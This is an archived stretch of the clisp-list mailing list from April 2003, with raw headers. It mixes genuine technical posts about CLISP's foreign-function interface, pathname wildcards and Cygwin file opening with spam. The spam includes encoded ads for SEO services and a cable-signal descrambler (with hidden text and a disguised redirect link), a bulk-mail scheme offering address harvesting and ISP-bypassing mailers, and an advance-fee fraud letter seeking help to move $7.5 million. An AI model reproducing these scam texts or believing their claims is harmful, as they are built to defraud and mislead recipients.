PEZPTlQgCmNvbG9yPSMwMDAwZmY+PFU+PEEgCmhyZWY9Im1haWx0bzpyYW5raW5nc0BzZW9z b3MuY29tIj5yYW5raW5nc0BzZW9zb3MuY29tPC9BPjwvVT48L0ZPTlQ+IGFuZCBJIHdpbGwg CnNlbmQgdG8geW91IGZ1bGwgZGV0YWlscyBhYm91dCBvdXIgc2VydmljZXMgJmFtcDsgb3Vy ICJGaXJzdCBUaW1lIGN1c3RvbWVyIEZyZWUgClN1Ym1pc3Npb24gT2ZmZXIiLiA8QlI+PEJS PlRlc3QgYSBmZXcgbWFya2V0cyEgV2hhdCB3aWxsIGl0IGJlPyBUaGUgSGlzcGFuaWMgCndl Yj8gVGhlIEdlcm1hbiB3ZWI/IFRoZSBKYXBhbmVzZSB3ZWI/IFRoZSBGcmVuY2ggd2ViPyBU aGUgY2hvaWNlIGlzIHlvdXJzISEgCkxldCdzIGluY3JlYXNlIHlvdXIgV2ViIGV4cG9zdXJl OiByZWFjaCAidGhlIG90aGVyIGhhbGYgb2YgdGhlIApJbnRlcm5ldCIhPEJSPjxCUj5SZWdh cmRzLDxCUj48QlI+RWR3YXJkIExld2lzIDxCUj48L0ZPTlQ+PEZPTlQgCmZhY2U9VmVyZGFu YT48Rk9OVCBjb2xvcj0jMDAwMGZmPjxVPjxBIApocmVmPSJtYWlsdG86cmFua2luZ3NAc2Vv c29zLmNvbSI+cmFua2luZ3NAc2Vvc29zLmNvbTwvQT48QlI+PC9VPjwvRk9OVD5fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fPEJSPkMgClkgQiBFIFIgRCBJIEYgRiBFIFIgRSBOIEMgRSAmbmJzcDtDIE8gUiBQ LiA8QlI+UE8gQk9YIDI3MzUgPEJSPlNFRE9OQSwgCiZuYnNwOyZuYnNwO0FSSVpPTkEgJm5i c3A7Jm5ic3A7ODYzMzYgJm5ic3A7Jm5ic3A7VVNBIDxCUj5URUw6MSAoOTI4KSAyMDMtMDEx MiAtIApGQVg6IDEoOTI4KSAyMjItODQ3MyA8QlI+PEJSPjwvRk9OVD48Rk9OVCBmYWNlPVZl cmRhbmE+PEZPTlQgCmNvbG9yPSM4MDAwMDA+PEI+TXVsdGlsaW5ndWFsIHNlYXJjaCBlbmdp bmUgb3B0aW1pemF0aW9uICZhbXA7IHN1Ym1pc3Npb24gCnNlcnZpY2VzIGluIDkgbGFuZ3Vh Z2VzLjxCUj48L0I+PC9GT05UPjxCUj48QlI+PC9GT05UPjxGT05UIHNpemU9Mj48Rk9OVCAK ZmFjZT1WZXJkYW5hPklmIHlvdSB3YW50IHRvIGJlIHJlbW92ZWQgZnJvbSBvdXIgbWFpbGlu ZyBsaXN0cyBwbGVhc2Ugd3JpdGUgdG8gCjxGT05UIGNvbG9yPSMwMDAwZmY+PFU+PEEgCmhy ZWY9Im1haWx0bzpyZW1vdmVAc2Vvc29zLmNvbSI+cmVtb3ZlQHNlb3Nvcy5jb208L0E+PC9V PjwvRk9OVD4gYW5kIGluY2x1ZGUgCnlvdXIgZW1haWwgYWRkcmVzcyBpbiB0aGUgc3ViamVj dCBsaW5lLiA8L0ZPTlQ+PEI+PEZPTlQgZmFjZT1WZXJkYW5hPldlIGhvbm9yIAphbGwgcmVt b3ZhbCByZXF1ZXN0czxCUj48L0ZPTlQ+PC9CPjwvRk9OVD48QlI+CjwvQk9EWT4KPC9IVE1M Pg== From steve@amtartha.xftp.net Thu Apr 24 00:38:20 2003 Received: from [61.80.99.11] (helo=amtartha.xftp.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 198bJE-00082S-00 for ; Thu, 24 Apr 2003 00:38:20 -0700 From: "steve" To: Mime-Version: 1.0 Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] (±¤°í) ¢º The Safe, Exciting, Recruiting System ¢¸ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 24 00:39:04 2003 X-Original-Date: Thu, 24 Apr 2003 16:38:19 +0900
Dear Fellow Networker,

Let's get this straight, the only way you can make money on
the Web...Bulk E-mail. Legal, ethical, and responsible Bulk
E-mail (not spamming) can make you rich! It applies whether
you're an Australian, Asian, European or American.

Bulk Email Is Not Spam.....The Law says so. Only fear keeps
you from getting FREE, TARGETED LEADS at will.

I will show you :

* The Secrets Used By MasterCard, Polaroid, AOL
* How to Send Bulk Email Safely
* Free Software to Harvest Targeted E-mails
* Free Software to Bulk Mail that will bypass your ISP

and much much more  

+++++++++++++++++++++++++++++++++++++++++++++++
I seek your permission to send you the **FREE** new booklet,
"The Untold Secrets to Wealth on the Web" today.

+++++++++++++++++++++++++++++++++++++++++++++++
If you're not interested, please go to the end of this email & click remove.

Get your message to the millions of people on the Web who
need or want your service & product.

************************************************************************
I like you could never get enough traffic/hits to my site.
I tried everything from FFAs to search engines & even Leads
which didn't work at all !

***********************************************************************

Act Now ! Just click : http://amtartha.codns.com/steve/   

Get your the Secrets Now!



I am well on my way to having not only increased hits but
successful sales as well. Let 2003 be your year
of Success !

So don't miss this ! Just click : http://amtartha.codns.com/steve/

To Your Success,
Steve Roberts


  *We comply with proposed federal legislation regarding unsolicited commercial e-mail by providing you with a method for your e-mail address to be permanently removed from our database and any future mailings from our company.

---------------------------------------------------------
to unsubscribe from future mailings please click the link below
REMOVE_ME_NOW

* This is a one time mailing and this list will never be used again.

From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 24 01:24:25 2003 Received: from gw1.telekom.de ([194.25.15.11] helo=fw1a.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 198c1Y-0000Qh-00 for ; Thu, 24 Apr 2003 01:24:08 -0700 Received: by fw1a.telekom.de; (8.8.8/1.3/10May95) id KAA29810; Thu, 24 Apr 2003 10:17:41 +0200 (MET DST) Received: from g8pbr.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP; Thu, 24 Apr 2003 10:19:57 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 24 Apr 2003 10:19:02 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE03C5F8D2@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: :malloc-free allocation -- here: instance methods Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 24 01:25:04 2003 X-Original-Date: Thu, 24 Apr 2003 10:19:00 +0200 Aurelio Bignoli wrote: >well, different DB functions have different argument lists. >int DB->get(DB *db, DB_TXN *txnid, DBT *key, DBT *data, >u_int32_t flags); >int DB->open(DB *db, DB_TXN *txnid, const char *file,const >char *database, > DBTYPE type, u_int32_t flags, int mode); > How should such >a foreign function be defined in CLISP? What return type should we use? >(def-call-out ff-factory > (:name "ff_factory") > (:arguments (db (c-ptr DB :in)) (function-type int :in)) > (:return-type ???)) One way would be to use C-POINTER just to get the address, and then construct foreign-function objects with this address. Another would be the following (unportable, not recommended): return a pointer to the offset in the DB structure where the functions lay (or duplicate the whole structure in Lisp), and use (:arguments (db-ffs :out (c-struct list (get (c-function (:arguments (db c-pointer) ...) ...)) (put (c-function ...)))) The FFI would then construct the foreign-function objects. I suggest the following. I recently said that this DB->get is like accessing foreign functions off a dynamic library base pointer. You need the following function signatures: DB * function-name -> foreign-address foreign-address * foreign-function-type -> foreign-function-object The former you have to write, the latter can be used as FOREIGN-ADDRESS-FUNCTION, which was both in my ffi hacks toolbox, in my dynload patch, both sent to this list, but not yet in CVS CLISP. You could also merge these two functions into one. That's what e.g. FFI::lookup-foreign-function does in foreign.d for the functions found in a module: DB * function-name * ff-type -> ff-object The former allows more work to be done at Lisp-level, which you may appreciate. The difference is really minor. Here's the first function enum {get, put, ...} // I hereby choose to have Lisp pass known integers as representing the different functions. // An alternative would be to have the C code dispatch on symbols such as GET, PUT etc. utils/MODPREP helps writing modules that access Lisp objects. // You choose. void* bdb_entry_point(DB* db, enum) { switch (enum) { case get: return &(DB->get); case put: return &(DB->put); } Here's some matching Lisp (defun db-factory (DB name) (declare (type foreign-address DB)) ; maybe use (foreign-pointer type)? (declare-or-assert symbol name) (ffi:foreign-address-function ;; address (bdb-entry-point (name-to-bdb-index name)) ;; c-type (ecase name (GET (load-time-value (ffi::parse-c-function '(c-function (:arguments (db c-pointer) (db-txn c-pointer) #) (:return-type ...) (:language :stdc)))))) ;; name for printing # (informative) name)) Memoization is omited here. Please use VALIDP to detect whether an old foreign-function-object is still valid or comes from an old Lisp image or whether the library has been closed and you need to regenerate the address. Another issue not yet covered: It would be good if all these foreign-function s would share their pointer base with the corresponding DB base pointer. Then, (setf (validp DB) nil) (after closing it of course) would invalidate all functions in one statement. There are two ways to achieve this 1. write the above bdb_entry_point() as a LISPFUNN() instead of going through the FFI to call it and have it return the appropriate FOREIGN-ADDRESS object. 2. or call bdb_entry_point via FFI, but then use the (SET-FOREIGN-BASE) I recently talked about to achieve this sharing. Sam implemented my proposal in CVS as (SETF (FOREIGN-POINTER) #) but I have yet to check what he did. (let ((address (bdb-entry-point (name-to-bdb-index name)))) (setf (foreign-base address) db) address) ;possibly a one-liner: (setf (foreign-base (bdb-entry-point #) db) which still yields the new address, not db. I'd go for 1. - I'm a fan of modules, and one has to write a little C code (bdb_entry_point) anyway. Then it's just easy to pack it as a LISPFUN (use allocate_faddress()). And if it's a LISPFUN, you can just as well have it return the appropriate FOREIGN-FUNCTION object with little more (double?) code (i.e. case where the two functions mentioned above are merged into one). Oh well, maybe I should provide more sample code? Hope this helps, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 24 02:33:32 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 198d6g-0000f2-00 for ; Thu, 24 Apr 2003 02:33:30 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 24 Apr 2003 11:33:21 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 24 Apr 2003 11:33:19 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE03C5F93D@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: mst@dishevelled.net Subject: [clisp-list] Using filenames which contain wildcard characters MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 24 02:34:06 2003 X-Original-Date: Thu, 24 Apr 2003 11:33:18 +0200 Marco Antoniotti wrote: >According to the CLHS (not directly), an implementation should provide >an implementation dependent way of quoting the implementation dependent >wild characters in the pathname component and/or namestring. Here is >the relevant bit. > 19.2.2.1.1 Special Characters in Pathname Components >Strings in pathname component values never contain special characters >that represent separation between pathname fields, such as slash in >Unix filenames. I do not think that this passage is relevant. It's about file system special characters, while the matter at hand is about a CLISP-specific and internal extension about "*" and "?", but acknowledged in CLHS as "implementation dependent special wildcard characters" (cf. ?19.2.2.3) What I believe is as follows: This topic (annoying behaviour of CLISP) is bound to disappear. It's an ancient CLISP bastion which is going to fall the more users complain about it, like two others did fall in the past, due to user complaints: - ".emacs" to be parsed as either :name ".emacs" or :name nil/"" :type "emacs" cf. custom:*parse-namestring-dot-file* - merge-pathname (:relative "foo") (:relative "bar") either fill :directory or append cf. custom:*merge-pathnames-ansi* I believe some people do use CLISP for scripting. I'm quite surprised that they haven't complained yet (often enough) about CLISP's inability to access any regular file that may be found in a file system. BTW, CLISP's impnotes still mentions the old ".dot-file" behaviour in various parts of section "Pathname components", and *parse-namestring-dot-file* doesn't seem mentioned. So maybe OPEN, TRUENAME etc. should just check against presence of :wild or :wild-inferiors, not against #\* or #\?, while DIR and DIRECTORY could maintain their portable-across-clisp pattern matching behaviour. But then, you must also suggest conforming behaviour for wild-pathname-p and ?19.2.2.3 http://www.lisp.org/HyperSpec/Body/sec_19-2-2-3.html Please suggest a custom:*nice-name* and convince Sam :-) BTW, why doesn't this work: [75]> (make-pathname :directory '(:absolute :wild) :name "foo") *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:ABSOLUTE :WILD) -- I'd expect #p"*/foo" while this is accepted (which I consider equivalent): (make-pathname :directory '(:absolute "*") :name "foo") as well as(!): (make-pathname :directory '(:absolute :wild-inferiors) :name "foo") -> #p"**/foo" Regards, Jorg Hohle. From kaz@footprints.net Thu Apr 24 09:59:59 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 198k4H-0005y2-00 for ; Thu, 24 Apr 2003 09:59:29 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 198k3k-0000at-00 for clisp-list@lists.sourceforge.net; Thu, 24 Apr 2003 09:58:56 -0700 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: OPEN problem on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 24 10:00:07 2003 X-Original-Date: Thu, 24 Apr 2003 09:58:56 -0700 (PDT) On Cygwin, the /dev/tty file exists, but the directory /dev does not. WE get this: [1]> (with-open-file (x "/dev/tty")) *** - nonexistent directory: #P"/dev/" Second-guessing the operating system's path component resolution strategy not only wastes cycles, but leads to incorrect guesses when the operating system recognizes special cases. Can't CLISP just take the pathname string and pass it to the open() system call? From Joerg-Cyril.Hoehle@telekom.de Fri Apr 25 01:11:05 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 198yIR-0008ND-00 for ; Fri, 25 Apr 2003 01:11:03 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 25 Apr 2003 10:10:49 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 25 Apr 2003 10:10:48 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE03C5FCA6@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: OPEN problem on Cygwin. MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 25 01:12:02 2003 X-Original-Date: Fri, 25 Apr 2003 10:10:47 +0200 Kaz Kylheku asks: >On Cygwin, the /dev/tty file exists, but the directory /dev >does not. WE > [1]> (with-open-file (x "/dev/tty")) > *** - nonexistent directory: #P"/dev/" >Second-guessing the operating system's path component resolution >strategy not only wastes cycles, but leads to incorrect guesses when >the operating system recognizes special cases. On the Amiga, CLISP has something like this. E.g. (open "CON:////CLISP-Listener/AUTO/CLOSE/WAIT" :direction :io) works, while CON: is not a file system at all -- IsFileSystem("CON:") -> false. CLISP does not attempt to invoke the usual directory checks on such a thing. Same for named pipes on the Amiga, e.g. (open "PIPE:foo" :direction :output). But the Amiga still has more legal names that CLISP would never let me access, e.g. "*", "CONSOLE:", "AUX:", "PRN:" (error empty :name in pathname). CLISP also has special cases for /proc on UNIX AFAIK. OTOH, in CL, you are bound to attempt to second-guess the OS'pathnames, otherwise MERGE-PATHNAMES, TRUENAME etc. cannot work or produce trusted results. E.g. open "CONSOLE:" should work, despite empty name open Developer-CD#1:README should work open Developer-CD#1:libs/ should not work (directory, but empty name) even though some UNIX systems would let you read dirent structs from that. Regards, Jorg Hohle. From ivafdvb@aol.com Fri Apr 25 06:31:25 2003 Received: from [217.66.233.132] (helo=aol.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1993IO-0008Ii-00; Fri, 25 Apr 2003 06:31:20 -0700 Message-ID: <001700b2da03$edd62546$14047263@hfovnvd.jqo> From: To: Cc: , MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00E8_50B43A5A.C8587A75" X-Priority: 3 X-Mailer: AOL 7.0 for Windows US sub 118 Importance: Normal Subject: [clisp-list] FW: Finally a Digital Cable Descrambler 5374fQSX6-795cdyo58-18 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 25 06:32:27 2003 X-Original-Date: Fri, 25 Apr 2003 05:02:37 +0900 ------=_NextPart_000_00E8_50B43A5A.C8587A75 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: base64 PGZvbnQgY29sb3I9IiNmZmZmZmYiPldoZXJlIGFyZSB3ZSBnb2luZyBuZXh0 IHdlZWtlbmQuDQo3MjE4NTcyMTIzMTcwNDMyMzI0NTA3MTY1NDI1NzcyMTE2 MjU4MzQ0MzgwMjY1ODE2MjgwNTExNjM4MjFVQzJpalJxYzU0NjNwUWw3UUg1 ZTdQbmlFNzVreDU0eXRsOExvZFBhNEc3Qzg8L2ZvbnQ+DQo8aHRtbD4NCjxo ZWFkPg0KPHRpdGxlPiBEaWdpYWwgUG93ZXIgRmlsdGVyIDwvdGl0bGU+DQo8 L2hlYWQ+DQo8Ym9keT4NCjxicj4NCjxmb250IGNvbG9yPSIjZmZmZmZmIj4w MDQ5ZlF5YzgtMTc5TE5zYTUyODVxcHZ0NC01NzJOb0RyNjM4NHNXbWkxLTE2 MWdDUlE3NjA4Q2FsUDQtMDQwV2Vmcmw2NDwvZm9udD48QlI+DQo8Zm9udCBm YWNlPSJhcmlhbCI+DQpObyBNb3JlIFBheWluZyBmb3IgTW92aWVzICYgRXZl bnRzIG9uIENBQkxFISBGcmVlIFRWDQppcyBIZXJlITxCUj48QlI+DQo8Yj48 YSBocmVmPSJodHRwOi8vd3d3LmNwLmNvbV9fX19AcmQueWFob28uY29tL3hn aGduL2NwLypodHRwOi8vd3d3LmEzemluZzI5LmNvbS94Y2FydC9jdXN0b21l ci9wcm9kdWN0LnBocD9wcm9kdWN0aWQ9MTYxNDQmcGFydG5lcj1hZmZpbDUy JnI9Zm1vciI+Q0xJQ0sgSEVSRSBGT1IgTU9SRSBJTkZPUk1BVElPTjwvYT48 L2I+DQo8QlI+PGZvbnQgY29sb3I9IiNmZmZmZmYiPnNwZG1nZzwvZm9udD48 QlI+DQpUaGF0J3MgcmlnaHQuIFdlIGhhdmUgYSBzbWFsbCBmaWx0ZXIgdGhh dCBlYXNpbHkgZml0cw0Kb24gdGhlIGJhY2sgb2YgeW91ciByZWNlaXZlciBz byB5b3UgY2FuIGJ1eSBNb3ZpZXMsDQpMaXZlIFNwb3J0aW5nIEV2ZW50cywg Q29uY2VydHMsIGV0Yywgd2l0aG91dCBwYXlpbmcgYQ0KZGltZS4gVGhpcyBp cyAxMDAlIGxlZ2FsIGFzIGl0IGlzIHVzZWQgYXMgcmVjZXB0aW9uDQplbmhh bmNlciBkZXZpY2UhIENoYW5uZWxzIHlvdSBidXkgZm9yIEZSRUUgSW5jbHVk ZToNCjxCUj48Zm9udCBjb2xvcj0iI2ZmZmZmZiI+MVVJNjRUNFFhWDdjdms8 L2ZvbnQ+PEJSPg0KKiBBbGwgTmV3IE1vdmllIFJlbGVhc2VzIHdoaWNoIG5v cm1hbGx5IGNvc3QgJDUgYQ0KbW92aWUsIEZSRUU8QlI+DQoqIEFkdWx0IE1v dmllcyAoU1BpY2UsIFBsYXlib3ksIEhvdFpvbmUsIGV0Yykgbm9ybWFsbHkN CmNvc3QgJDEwIGEgbW92aWUsIEZSRUU8QlI+DQoqIFdyZXN0bGluZywgVUZD LCAmIEJveGluZyBQUFYncyAoV1dGLCBOV0EsIEJveGluZw0KSGVhdnkgV2Vp Z2h0IEZpZ2h0cykgbm9ybWFsbHkgY29zdCAkMzAtODAgYW4gZXZlbnQsDQpG UkVFPEJSPg0KKiBMaXZlIE11c2ljIENvbmNlcnRzIChFbWluZW0sIEIuIFNw ZWFycywgRGl4aWUNCkNoaWNrcywgZXRjKSBub3JtYWxseSBjb3N0ICQzNSBh biBldmVudCwgRlJFRQ0KPEJSPjxmb250IGNvbG9yPSIjZmZmZmZmIj43MjE4 NTcyMTIzMTcwNDMyMzI0NTA3MTY1NDI1NzcyMTE2MjU4MzQ0MzgwMjY1ODE2 MjgwNTExNjM4MjwvZm9udD48QlI+DQoqIEJvdHRvbSBsaW5lOiBBbnl0aGlu ZyB5b3Ugd291bGQgbm9ybWFsbHkgYnV5IHlvdSBnZXQNCkZyZWUgd2l0aCB0 aGlzISBXaGF0IGRvZXMgdGhpcyBtZWFuPyBNZWFucyB5b3Ugc2F2ZQ0KJDEw MDAgaW4gcHJvZ3JhbW1pbmcgYSBtb250aCBmb3Igb25lIGxvdyBjb3N0IG9m IHRoaXMNCnVuaXF1ZSBmaWx0ZXIuIEd1YXJhbnRlZWQgdG8gV29yayENCjxC Uj48Zm9udCBjb2xvcj0iI2ZmZmZmZiI+MVVDMmlqUnFjNTQ2M3BRbDdRSDVl N1BuaUU3NWt4NTR5dGw4TG9kUGE0RzdDOA0KMVVJNjRUNFFhWDdjdms8L2Zv bnQ+PEJSPg0KSXMgdGhlcmUgYSBjYXRjaD8gVGhlIG9ubHkgY2F0Y2ggaXMg eW91IG5lZWQgRGlnaXRhbA0KQ2FibGUuIFRoaXMgaXMgYmVjYXVzZSB5b3Ug bXVzdCBidXkgdmlhIHRoZSByZW1vdGUNCmNvbnRyb2wgZm9yIHRoZSBmaWx0 ZXIgdG8gd29yay4NCkRvbid0IGhhdmUgRGlnaXRhbCBDYWJsZT8gU2ltcGx5 IHVwZ3JhZGUgZm9yIHRoZSBzbWFsbA0KZmVlIGFzIHlvdSB3aWxsIGJlIGdl dHRpbmcgJDEwMDAncyBvZiBGcmVlIHByb2dyYW1taW5nDQphIG1vbnRoISBB IHZlcnkgd29ydGh3aGlsZSBpbnZlc3RtZW50IGZvciBZT1VSIExlaXN1cmUN CnRpbWUhDQo8QlI+PGZvbnQgY29sb3I9IiNmZmZmZmYiPlNZNmMxDQo3ODUy NzExMTQ2NzYxODAxNzQzNjQ2MzQ0ODI3NDM0MjY1MDcyNTQwMDAxMTY4NTEx PC9mb250PjxCUj4NCipCT05VUyEgV2l0aCB0aGUgcHVyY2hhc2Ugb2YgdGhl IEZpbHRlciB5b3UgYWxzbyBnZXQgYQ0KRlJFRSAkMjAgdmFsdWUgZ2lmdCBp dGVtLiBZb3UgY2FuJ3QgZ28gd3Jvbmcgb24gdGhpcw0KQkxPV09VVCBTYWxl ISEhDQo8QlI+PGZvbnQgY29sb3I9IiNmZmZmZmYiPnBUY294dG83cTNQb3Fz RG9XQVNLMWMwQzMxdTwvZm9udD48QlI+DQo8Qj5BbGwgdGhpcyAgZm9yIE9O TFkgJDQ0Ljk1ITwvQj4NCjxCUj48Zm9udCBjb2xvcj0iI2ZmZmZmZiI+Nzg1 MjcxMTE0Njc2MTgwMTc0MzY0NjM0NDgyNzQzNDI2NTA3MjU0MDAwMTE2ODUx MTwvZm9udD48QlI+DQpDbGljayBCZWxvdyB0byBnZXQgbW9yZSBJbmZvcm1h dGlvbiAmIHlvdXIgQ2FibGUNCkZpbHRlciBUb2RheSAod2hpbGUgc3VwcGxp ZXMgbGFzdCk6DQo8QlI+PEJSPg0KPGI+PGEgaHJlZj0iaHR0cDovL3d3dy5j cC5jb21fX19fQHJkLnlhaG9vLmNvbS94Z2hnbi9jcC8qaHR0cDovL3d3dy5h M3ppbmcyOS5jb20veGNhcnQvY3VzdG9tZXIvcHJvZHVjdC5waHA/cHJvZHVj dGlkPTE2MTQ0JnBhcnRuZXI9YWZmaWw1MiZyPWZtb3IiPkNMSUNLIEhFUkUg Rk9SIE1PUkUgSU5GT1JNQVRJT048L2E+PC9iPg0KPEJSPjxCUj48QlI+PEJS PjxCUj48QlI+PEJSPg0KPGZvbnQgc2l6ZT0iMSI+DQpUbyBiZSB0YWtlbiBv ZmYgb3VyIGxpc3QgPGEgaHJlZj0iaHR0cDovL3d3dy5jcC5jb21fX19fQHJk LnlhaG9vLmNvbS9mbW9yL3hnaGduLypodHRwOi8vd3d3LmEzemluZzI5LmNv bS8xLz94Z2hnbiI+Q2xpY2sgSGVyZTwvYT4NCjwvZm9udD4NCjxmb250IGNv bG9yPSIjZmZmZmZmIj4wMDQ5ZlF5YzgtMTc5TE5zYTUyODVxcHZ0NC01NzJO b0RyNjM4NHNXbWkxLTE2MWdDUlE3NjA4Q2FsUDQtMDQwV2Vmcmw2NDwvZm9u dD4NCjwvZm9udD4NCjwvYm9keT4NCjxmb250IGNvbG9yPSIjZmZmZmZmIj4x VUk2NFQ0UWFYN2N2aw0KNzIxODU3MjEyMzE3MDQzMjMyNDUwNzE2NTQyNTc3 MjExNjI1ODM0NDM4MDI2NTgxNjI4MDUxMTYzODI3ODUyNzExMTQ2NzYxODAx NzQzNjQ2MzQ0ODI3NDM0MjY1MDcyNTQwMDAxMTY4NTExPC9mb250Pg0KPC9o dG1sPg0KPEJSPjxCUj48QlI+PEJSPjxCUj48QlI+PEJSPjxCUj48QlI+PEJS PjxCUj48QlI+DQo0MDAxUnN2bTMtMjM2YllZTjI0MzV0ZEthNC0zOTh3Rm1k MjcyNFFjV0QwLTY3MWpIbUsyNDQ4T1ZkZDAtOTYwSXdZZmw2NA== From httnid111@netscape.net Sat Apr 26 02:55:34 2003 Received: from a68253.upc-a.chello.nl ([62.163.68.253] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 199MP6-0003zJ-00 for ; Sat, 26 Apr 2003 02:55:34 -0700 From: "....." To:clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] Letter Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 26 02:56:03 2003 X-Original-Date: Sat, 26 Apr 2003 11:55:26 Dear Sir With regards and honor do please consider this proposal.I am from Zimbabwe but currently i and my brother is in Netherland.You might be worried how i got your contact address, I got it from Netherland Chamber of Commerce and trade e-mail directory. Dear friend during this crises against the farmers of Zimbabwe by the supporters of our President Robert Mugabe to claim all the white owned farms in our country, he ordered all the white farmers to surrender their farms to his party members and their followers My father was one of the best farmers in the country and knowing that he did not support the presidents political ideology, the presidents supporters invaded my fathers farm burnt down everything, shot him and as a result of the wounds sustained, he became sick and died after four days.And after his death,I and my younger Brother decided to move out of Zimbabwe for the safety of our lives to South-Africa.from thier we where able to enter into a ship and travel to the Netherland. But, before he died he wrote his will, which reads (MY BELOVEED SON ,I WISH TO DRAW YOUR ATTENTION TO THE SUM OF ($7.5,000000). MILLION U.S DOLLARS WHICH I DEPOSITED IN A SECURITY COMPANY IN JOHANNESBURG (SOUTH-AFRICA)and i have ask them to transfer it to thier branch in the netherland and secured it.IN CASE OF MY ABSENCE ON EARTH CAUSED BY DEATH ONLY".You should solicit for reliable foreign partner to assist you to transfer this money out of netherland for investment purpose. I deposited the money in your name and it can be claimed by you alone with the deposite code. your mother has all the documents.Take good care of your mother and brother." From the above, you will understand that the lives and future of my family depends on this money as much, I will be grateful if you can assist us.I and my younger brother are now living in the Netherland as POLITICAL ASYLUM SEEKERS and the financial law of the Netherland does not allow ASYLUM SEEKERS certain financial rights to such huge amount of money . In view of this, I cannot invest this money in the Netrherland,hence I am asking you to assist me transfer this money out of Netherland and secure it for investment purposes. For your efforts, I am prepared to offer you 10% of the total fund, while 2% will be set aside for local and international expenses and 88% will be kept for me and my family. Finally modalities on how the transfer will be done will be conveyed to you 